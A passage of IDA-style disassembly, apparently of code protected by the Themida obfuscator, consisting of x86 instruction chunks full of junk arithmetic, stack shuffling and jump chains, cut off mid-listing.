; END OF FUNCTION CHUNK	FOR sub_59AE49
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A0A3F:				; CODE XREF: sub_59D99C+8E8j
		shl	edx, 4
		inc	edx
		add	edx, 7D3D57DDh
		add	edx, 52FBAF03h
		add	edi, edx
		pop	edx
		push	ebp
		mov	ebp, 44011F74h
		and	edi, ebp
		mov	ebp, [esp-4+arg_0]
		jmp	loc_59E5F6
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A0A62:				; CODE XREF: Themida_:005A8DB5j
		sub	ebp, 11C6757Ah
		or	ebp, 3F593Fh
		add	ebp, 273594F5h
		jmp	loc_5A88B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB1B9


loc_5A0A79:				; CODE XREF: sub_5AB1B9-5A01j
		add	esp, 4
		push	4C98h
		mov	[esp+8+var_8], ecx
		mov	ecx, 4
		add	edi, ecx
		push	[esp+8+var_8]
		pop	ecx
		jmp	loc_5A7578
; END OF FUNCTION CHUNK	FOR sub_5AB1B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_5A0A97:				; CODE XREF: sub_5A95E0-EDEEj
		sub	esi, 0F8A6084h
		add	esi, ebx
		add	esi, 0F8A6084h
		jmp	loc_5A2BBC
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A0AAA:				; CODE XREF: sub_59D99C+483Dj
		mov	ebx, 4245221Bh
		jmp	loc_5A3945
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A980C


loc_5A0AB4:				; CODE XREF: sub_5A980C-EB5Cj
		sub	esi, 2B607389h
		add	esi, edx
		add	esi, 2B607389h
		pop	edx
		sub	esi, 4
		jmp	loc_5A8CFF
; END OF FUNCTION CHUNK	FOR sub_5A980C
; ---------------------------------------------------------------------------


loc_5A0ACB:				; CODE XREF: Themida_:00599FD3j
		xchg	eax, [esp]
		pop	esp
		sub	eax, esi
		jmp	loc_5A0694
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5A0AD6:				; CODE XREF: sub_5ABF4A-6109j
		push	5C8h
		jmp	loc_5A0450
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A0AE0:				; CODE XREF: sub_5A8D43-E0EDj
		mov	[esp+0], esi
		push	edi
		mov	edi, 451226BBh
		jmp	loc_5A2100
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_5A0AEE:				; CODE XREF: sub_5A58AC+F2Dj
		push	esi
		mov	esi, 0D5C56B2h
		xor	esi, 27090CF5h
		and	esi, 779D3B14h
		sub	esi, 0EF269FF9h
		xor	ecx, esi
		pop	esi
		push	edi
		mov	edi, 0E759EB62h
		add	ecx, edi
		pop	edi
		push	edx
		mov	edx, 5CBF6034h
		jmp	loc_59F53B
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A0B1D:				; CODE XREF: sub_599059+65F2j
		pop	ecx
		jmp	loc_5A4240
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A0B23:				; CODE XREF: sub_59FFBE-3990j
		push	esi
		jmp	loc_59B701
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------


loc_5A0B29:				; CODE XREF: Themida_:0059BE72j
		add	ecx, 975FA06Fh
		mov	eax, ecx
		pop	ecx
		jmp	loc_59D54B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A0B37:				; CODE XREF: sub_59D99C+881j
		add	esp, 4
		neg	esi
		push	eax
		mov	eax, 65B20A06h
		jmp	loc_5ADC08
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B3CE


loc_5A0B4A:				; CODE XREF: sub_59B3CE+10902j
		add	edx, 4606228Dh
		dec	edx
		not	edx
		sub	edx, 4129B56Bh
		add	ebp, edx
		pop	edx
		jmp	loc_5AC8AF
; END OF FUNCTION CHUNK	FOR sub_59B3CE
; ---------------------------------------------------------------------------


loc_5A0B61:				; CODE XREF: Themida_:005A116Dj
		mov	[esp], ebx
		mov	ebx, 4F9D5F82h
		inc	ebx
		not	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 69923FABh
		or	edx, 4A700A24h
		jmp	loc_5A8155
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5A0B82:				; CODE XREF: sub_5ABF4A+Dj
		add	esp, 4
		jmp	loc_59A5E1
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5A0B8D:				; CODE XREF: sub_5A141E-3AC4j
		add	ax, di
		pop	edi
		mov	edi, [esp+0Ah+var_A]
		add	esp, 4
		push	bp
		jmp	loc_59D307
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------


loc_5A0B9E:				; CODE XREF: Themida_:0059BFEFj
		sub	eax, 0A9559473h
		add	ecx, eax
		pop	eax
		add	ecx, edi
		push	edi
		mov	edi, 13832F47h
		not	edi
		shr	edi, 4
		shl	edi, 3
		jmp	loc_5A0DF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B9F


loc_5A0BBB:				; CODE XREF: sub_5A1B9F+6j
		add	edx, 2BCA42A2h
		add	edx, ebp
		jmp	loc_597EBC
; END OF FUNCTION CHUNK	FOR sub_5A1B9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A0BC8:				; CODE XREF: sub_59D99C+8A2Fj
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_59B2BD
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5A0BD3:				; CODE XREF: sub_598D67+14214j
		push	ecx
		push	ebp
		push	8C126A7h
		pop	ebp
		add	ebp, 0F73ED95Dh
		push	ebp
		push	edi
		mov	edi, 50CB07E8h
		sub	[esp+8+var_4], edi
		pop	edi
		pop	ecx
		add	ecx, 50CB07E8h
		mov	ebp, [esp+0]
		add	esp, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp-8+arg_4]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_5AB743
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A0C0C:				; CODE XREF: sub_59D99C-231j
		add	edx, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5A87B6
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5991B7


loc_5A0C1F:				; CODE XREF: sub_5991B7+BF9Cj
		jmp	sub_59EE40
; END OF FUNCTION CHUNK	FOR sub_5991B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5A0C24:				; CODE XREF: sub_5A17D6-1366j
		sub	eax, edi
		sub	eax, 4B8869DBh
		push	esi
		mov	esi, 551C510Ch
		add	eax, esi
		pop	esi
		add	eax, 77207CFEh
		mov	edi, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59BCE3
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A0C4D:				; CODE XREF: sub_5A8D43-8D8Aj
		pop	esi
		add	esp, 4
		pop	[esp+18h+var_18]
		mov	esp, [esp+14h+var_14]
		or	[edi+1Ch], eax
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_5A2070
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A0C62:				; CODE XREF: sub_5AB88E-B7F3j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		xchg	esi, ecx
		push	esi
		not	[esp+10h+var_10]
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		push	ecx
		push	esi
		jmp	loc_5AF1C0
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A0C87:				; CODE XREF: sub_59D99C-2AF7j
					; Themida_:005A2246j
		mov	ecx, 6891B680h
		jmp	loc_59CF85
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A0C91:				; CODE XREF: Themida_:00598DBAj
		add	edx, 153136EBh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5992E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D663


loc_5A0CA5:				; CODE XREF: sub_59D663-2F1Dj
					; Themida_:005A38EEj
		add	esp, 4
		push	52A9h
		jmp	loc_5996CF
; END OF FUNCTION CHUNK	FOR sub_59D663
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A0CB5:				; CODE XREF: sub_5AC95F-139B2j
		mov	bl, 79h
		or	bl, 0Fh
		jb	sub_5A1A4C
		sub	esp, 2
		mov	word ptr [esp+8+var_8],	cx
		sub	esp, 4
		jmp	loc_5A69A5
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A0CD2:				; CODE XREF: sub_5AE6FD-14909j
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp-4+arg_0]
		pop	esp
		push	6BA2h
		jmp	loc_5A88E3
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5A0CEF:				; CODE XREF: sub_5AC402-6171j
		jz	loc_5A0248
		jmp	loc_5A9F02
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A0CFA:				; CODE XREF: sub_59D99C+6845j
		add	[esp+12h+var_10+2], esi
		pop	esi
		jmp	loc_5981E8
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A0D04:				; CODE XREF: Themida_:00599284j
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_598B1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A0D2B:				; CODE XREF: sub_5A3F42+88A3j
		sub	ebx, 10CF0086h
		mov	ecx, ebx
		jmp	loc_5A99AD
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A0D38:				; CODE XREF: sub_5AC95F-F419j
		mov	esi, 14B503E6h
		inc	esi
		sub	esi, 1
		sub	esi, 48B512E5h
		and	esi, 7E4A7B36h
		xor	esi, 55EE8AA8h
		add	ebx, 178C3878h
		sub	ebx, esi
		sub	ebx, 178C3878h
		pop	esi
		jmp	loc_5A099B
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A0D6A:				; CODE XREF: sub_5986D6:loc_5A4389j
					; Themida_:005A8862j
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5A4F4D
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_5A0D78:				; CODE XREF: sub_5ABE52-C9A8j
		mov	[esp+0Ch+var_C], ebx
		sub	[esp+0Ch+var_C], 67D96466h
		push	[esp+0Ch+var_C]
		pop	esi
		jmp	loc_59931C
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A73AF


loc_5A0D8B:				; CODE XREF: sub_5A73AF+12j
		pop	ebp
		mov	edx, eax
		jmp	loc_5AA8F5
; END OF FUNCTION CHUNK	FOR sub_5A73AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_5A0D93:				; CODE XREF: sub_599526-58Bj
		push	ecx
		mov	ecx, 5F1F23F6h
		xor	ecx, 69EF2657h
		sub	ecx, 5E50587Dh
		shl	ecx, 1
		jmp	loc_59EDC9
; END OF FUNCTION CHUNK	FOR sub_599526
; ---------------------------------------------------------------------------


loc_5A0DAC:				; CODE XREF: Themida_:005A5A89j
		pop	ebp
		push	eax
		jmp	loc_5AA50B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D832


loc_5A0DB3:				; CODE XREF: sub_59D832+8FF9j
		add	ebp, eax
		pop	eax
		jmp	loc_5AE1EA
; END OF FUNCTION CHUNK	FOR sub_59D832
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABB23


loc_5A0DBB:				; CODE XREF: sub_5ABB23+2313j
		push	21A7h
		mov	[esp+8+var_8], ebp
		jmp	sub_59CA4A
; END OF FUNCTION CHUNK	FOR sub_5ABB23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB511


loc_5A0DC8:				; CODE XREF: sub_5AB511-2E1Dj
		shr	edx, 1
		jnp	loc_5A84B5
		not	edx
		add	edx, 35C98305h
		jmp	loc_5A7B29
; END OF FUNCTION CHUNK	FOR sub_5AB511
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADCDE


loc_5A0DDD:				; CODE XREF: sub_5ADCDE-953Fj
		mov	esp, [esp+0]
		mov	[esp+0], esi
		mov	esi, 7DD50A33h
		xor	esi, ecx
		xor	ecx, esi
		xor	esi, ecx
		not	ecx
		jmp	loc_5A66BA
; END OF FUNCTION CHUNK	FOR sub_5ADCDE
; ---------------------------------------------------------------------------


loc_5A0DF5:				; CODE XREF: Themida_:005A0BB6j
		shr	edi, 8
		push	ecx
		mov	ecx, 18576B10h
		and	edi, ecx
		pop	ecx
		add	edi, 48FEE683h
		sub	ecx, edi
		pop	edi
		mov	edi, [esp]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59AD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A0E22:				; CODE XREF: sub_5A8C33+454Aj
		jmp	loc_5A51D1
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5A0E27:				; CODE XREF: Themida_:005A81D3j
		dec	eax
		jmp	loc_5A88A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB531


loc_5A0E2D:				; CODE XREF: sub_5AB531-121B0j
		mov	ecx, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_597C50
; END OF FUNCTION CHUNK	FOR sub_5AB531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5A0E3B:				; CODE XREF: sub_5A28BE:loc_5A554Ej
		add	eax, 0CE261ADh
		mov	ebx, eax
		jmp	loc_5A1607
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598462


loc_5A0E47:				; CODE XREF: sub_598462+104D2j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_598462
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A0E4C:				; CODE XREF: sub_5AC95F-533Aj
		pop	eax
		jmp	loc_5AAF74
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A0E52:				; CODE XREF: sub_5A0F44+3F07j
		jp	loc_5AA591
		inc	edx
		jnz	loc_5A6C1B
		jl	loc_5AA834


loc_5A0E65:				; CODE XREF: Themida_:005A79B7j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-8+arg_4]
		jmp	loc_5AA77C
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A0E7B:				; CODE XREF: sub_59B707+750j
		xor	ecx, 0C91B6856h
		mov	edi, ecx
		pop	ecx
		jmp	loc_599B4B
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8899


loc_5A0E89:				; CODE XREF: sub_5A8899-B60Cj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+10h+var_10]
		pop	esp
		jmp	loc_5980C1
; END OF FUNCTION CHUNK	FOR sub_5A8899
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5A0E9D:				; CODE XREF: sub_5A17D6+4BCj
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		pop	dword ptr [edi+24h]


loc_5A0EA9:				; CODE XREF: sub_5AC95F-1D16j
		push	94Ah
		jmp	loc_5A8E5C
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5A0EB3:				; CODE XREF: sub_5ABF4A+CAAj
		sub	eax, 4
		xchg	eax, [esp-8+arg_4]
		jmp	loc_599A8B
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_5A0EBE:				; CODE XREF: sub_59D24A+B2D2j
		push	eax
		mov	ah, 0B1h
		push	ecx
		mov	ch, 0BAh
		inc	ch
		add	ch, 45h
		jmp	loc_5A1F4D
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------


loc_5A0ECE:				; CODE XREF: Themida_:005AB5C4j
		mov	edi, 7CD645BEh
		or	esi, edi
		mov	edi, [esp]
		add	esp, 4
		not	esi
		jmp	loc_5AAB55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A0EE2:				; CODE XREF: sub_5AC95F-CB25j
		sub	ecx, 7D37B91h
		dec	ecx
		sub	ecx, 0F9C328FFh
		add	ebp, ecx
		pop	ecx
		push	ebx
		push	4
		jmp	loc_5AD2DB
; ---------------------------------------------------------------------------


loc_5A0EFD:				; CODE XREF: sub_5AC95F-A2F3j
		sub	esi, 6348021Ch
		add	esi, edi
		add	esi, 6348021Ch
		sub	esi, 0E41573Fh
		pop	edi
		push	40B8h
		mov	[esp+4+var_4], eax
		mov	eax, 2
		push	edi
		mov	edi, 4BC20CB1h
		add	esi, edi
		jmp	loc_59A150
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A0F2C:				; CODE XREF: sub_59C53B+B052j
		not	ecx
		xor	ecx, 28725663h
		jmp	loc_5AA428
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA500


loc_5A0F39:				; CODE XREF: sub_5AA500-37A7j
		sub	dh, 20h
		mov	cl, dh
		pop	edx
		jmp	loc_5A72F1
; END OF FUNCTION CHUNK	FOR sub_5AA500

; =============== S U B	R O U T	I N E =======================================



sub_5A0F44	proc near		; CODE XREF: sub_597C68+57F3j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059A3EC SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059AA7F SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0059B1BC SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059CC9B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059D602 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059EC6E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A019F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A0319 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A0E52 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A13CB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A1871 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A1C13 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A235C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A2E07 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2E78 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A4E3F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A57ED SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A5E46 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A66E7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A6C01 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A6C1B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A7CF1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A9062 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AA591 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005AA741 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AA77C SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005AAD2A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005ACA71 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005AE7D1 SIZE 00000022 BYTES

		sub	esp, 4
		jmp	loc_5A019F
sub_5A0F44	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59858D


loc_5A0F4C:				; CODE XREF: sub_59858D+15B1Bj
		not	byte ptr [esp+0]
		pop	ecx
		jmp	loc_5A16EB
; END OF FUNCTION CHUNK	FOR sub_59858D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A36E3


loc_5A0F55:				; CODE XREF: sub_5A36E3+58CEj
		mov	edx, [esp+0]
		push	ebx
		jmp	loc_5A282C
; END OF FUNCTION CHUNK	FOR sub_5A36E3
; ---------------------------------------------------------------------------


loc_5A0F5E:				; CODE XREF: Themida_:005A3484j
		add	esp, 4
		inc	edi
		dec	edi
		sub	edi, 0E4E5BD4Fh
		mov	ebx, edi
		pop	edi
		push	ebx
		sub	dword ptr [esp], 3AE35FDBh
		pop	esi
		jmp	loc_5AE0F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_5A0F7A:				; CODE XREF: sub_5A1340-3E4Aj
		push	[esp+8+var_8]
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		add	esp, 4
		xor	al, ch
		mov	cx, word ptr [esp+4+var_4]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 2
		xor	ebx, [esp+8+var_8]
		xor	[esp+8+var_8], ebx
		xor	ebx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	6E26h
		mov	[esp+0Ch+var_C], ecx
		push	14BFh
		mov	[esp+10h+var_10], eax
		mov	al, 9Ch
		jmp	loc_5AA892
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A0FBE:				; CODE XREF: sub_59FFBE+7C4Ej
		sub	ebp, 391344CBh
		add	ebp, 0E102F22Fh
		sub	eax, 106F6C0Dh
		jmp	loc_5A6B46
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5A0FD4:				; CODE XREF: sub_598D67-310j
		push	esi
		jmp	loc_5AAA2E
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A0FDA:				; CODE XREF: sub_5A8D43+C7Fj
		sub	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		mov	edx, 18503C60h
		sub	edx, 1
		push	ecx
		mov	ecx, 5CAA2505h
		sub	ecx, 4C5DFAE8h
		sub	edx, ecx
		pop	ecx
		jmp	loc_5A9013
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A1002:				; CODE XREF: sub_59D99C+8CAj
		push	edx
		push	ebp
		mov	ebp, 0A4D3D72h
		add	ebp, 6288DCFFh
		jmp	loc_5AD727
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A1014:				; CODE XREF: sub_59C53B+3314j
		mov	edi, ecx
		jmp	loc_5A8384
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EF66


loc_5A101B:				; CODE XREF: sub_59EF66+769Dj
		pop	ebx
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp+8+var_8], eax
		push	edx
		mov	edx, 0CD33898h
		mov	eax, 348506FBh
		xor	eax, edx
		pop	edx
		and	eax, 11C30507h
		push	edx
		push	esi
		mov	esi, 2E880A92h
		mov	edx, esi
		pop	esi
		jmp	loc_59E97A
; END OF FUNCTION CHUNK	FOR sub_59EF66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A1047:				; CODE XREF: sub_5AC95F-6BCj
		xor	[esp+8+var_8], ebp
		xor	ebp, [esp+8+var_8]
		jmp	loc_59FE30
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A1052:				; CODE XREF: Themida_:005ADD34j
		mov	eax, 290D26E4h
		xor	ebp, eax
		pop	eax
		push	ecx
		jmp	loc_5A329D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A1060:				; CODE XREF: sub_59FFBE+224j
		add	esp, 4
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		push	edi
		jmp	loc_5A021F
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_5A106F:				; CODE XREF: sub_5A1076+59A6j
		inc	edx
		push	edi
		jmp	loc_59D73B
; END OF FUNCTION CHUNK	FOR sub_5A1076

; =============== S U B	R O U T	I N E =======================================



sub_5A1076	proc near		; CODE XREF: sub_5A8C33+135j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00598541 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00598717 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00598E02 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00599474 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059A4E9 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059B322 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D1DC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059D5DC SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059D73B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F21F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A069A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A106F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A1885 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A1A9E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A4C62 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A6A1A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A7D44 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A8317 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A9183 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9FAC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AAF98 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AB544 SIZE 00000029 BYTES

		push	ebp
		mov	ebp, 27373677h
		jmp	loc_59A4E9
sub_5A1076	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A1081:				; CODE XREF: sub_59E35B-4C06j
					; sub_5A8C33-D499j
		add	esp, 4
		mov	ecx, 8508D23h
		add	ecx, eax
